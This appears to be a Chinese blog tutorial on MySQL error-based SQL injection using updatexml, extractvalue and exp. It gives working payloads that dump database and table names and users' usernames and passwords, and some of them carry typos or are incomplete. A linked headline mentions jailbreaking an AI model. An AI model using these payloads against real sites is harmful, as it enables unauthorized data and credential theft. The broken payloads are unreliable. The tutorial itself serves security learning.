11--sql注入-报错注入

一、union查询注入不使用的地方

1、注入语句无法截断,且不清楚完整的SQL查询语句;

2、页面不能返回查询信息的时候;

3、web页面中有两个SQL查询语句,查询语句的列数不同

二、关于MySQL处理XML

1、先准备以下XML文件内容

复制代码
<class id="wnCDCo85"> 
    <student sequence="1">
     <id>wncd20171215</id> 
</class>

三、报错注入

当union select 出现不使用的情形下,我们通常使用报错来进行注入。

报错注入的原理就是通过构造特殊的报错语句,使用MySQL数据库报错,

使我们查看内容显示在报错信息中,同时把报错信息显示在页面上。

通常的报错函数有updateXML(),extractvalue(),floor()等等。

大致报错的原理就是利用输入字符串逻辑上的冲突造成报错。

复制代码
1 and updatexml(1,concat(0x7e,database(),0x7e),1) 1 and updateexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.table where table_schema='learn'),0x7e),1)

这儿的group_concat是将报错的表名连接起来

补充:

?id=1' and select (select 1 from (select ))--+

使用exp报错

exp() 求e的n次方,exp(~(select 1))

extractvalue

updatexml

同属于xpath函数

特点:报错的内容只显示32位,如果想要都显示出来则可以

使用subsstr()函数,采用截取来获取每一个用户的值。

复制代码
?id=1' and updatexml(1,concat('-',(substr((select group_concat(username,password) from users),32,31))),1)--+

|--------------------------|-----------|
| 函数 | 含义 |
| extractvalue(文件名,文件路径) | |
| updatexml(文件名,文件路径,更新内容) | 对文件内容进行更新 |

updatexml(1,concat(-,database()),1)

在'-数据库名',无1这个文件

相关推荐
薛定猫AI2 分钟前
【深度解析】Claude Fable 5 全面评测:安全防护机制、基准测试与实战性能深度拆解
网络·安全
brevity_souls2 分钟前
信息安全与网络安全的区别及其学习内容
网络·学习·web安全
KaMeidebaby13 分钟前
卡梅德生物技术快报|羊驼免疫:分子生物学实战:基于羊驼免疫的重链抗体制备与全流程验证方案
前端·网络·数据库·人工智能·算法·百度
ylscode16 分钟前
Claude Fable 5遭多智能体越狱攻击:Anthropic最强AI安全防线被击穿,12万字符系统提示泄露
网络·人工智能·安全
2401_8685347816 分钟前
系分_案例_系统架构、中间件、微服务与消息队列
网络
X7x526 分钟前
重塑数字安全防线:深度解析P2DR安全模型的实战价值
网络安全·网络攻击模型·安全威胁分析·安全架构·p2dr模型
MartinYeung526 分钟前
[论文学习]环境注入攻击(EIA)对通用网页代理的隐私洩露威胁
网络·学习
OCR_1337162127528 分钟前
技术赋能轻量化核验:OTG技术如何重构护照识读设备应用逻辑
网络
qiuziqiqi30 分钟前
webman的消费脚本进程中http请求的选择
网络·网络协议·http
站斧小威34 分钟前
2026TikTok IP隔离浏览器怎么安装:自定义IP区段,杜绝关联限流
网络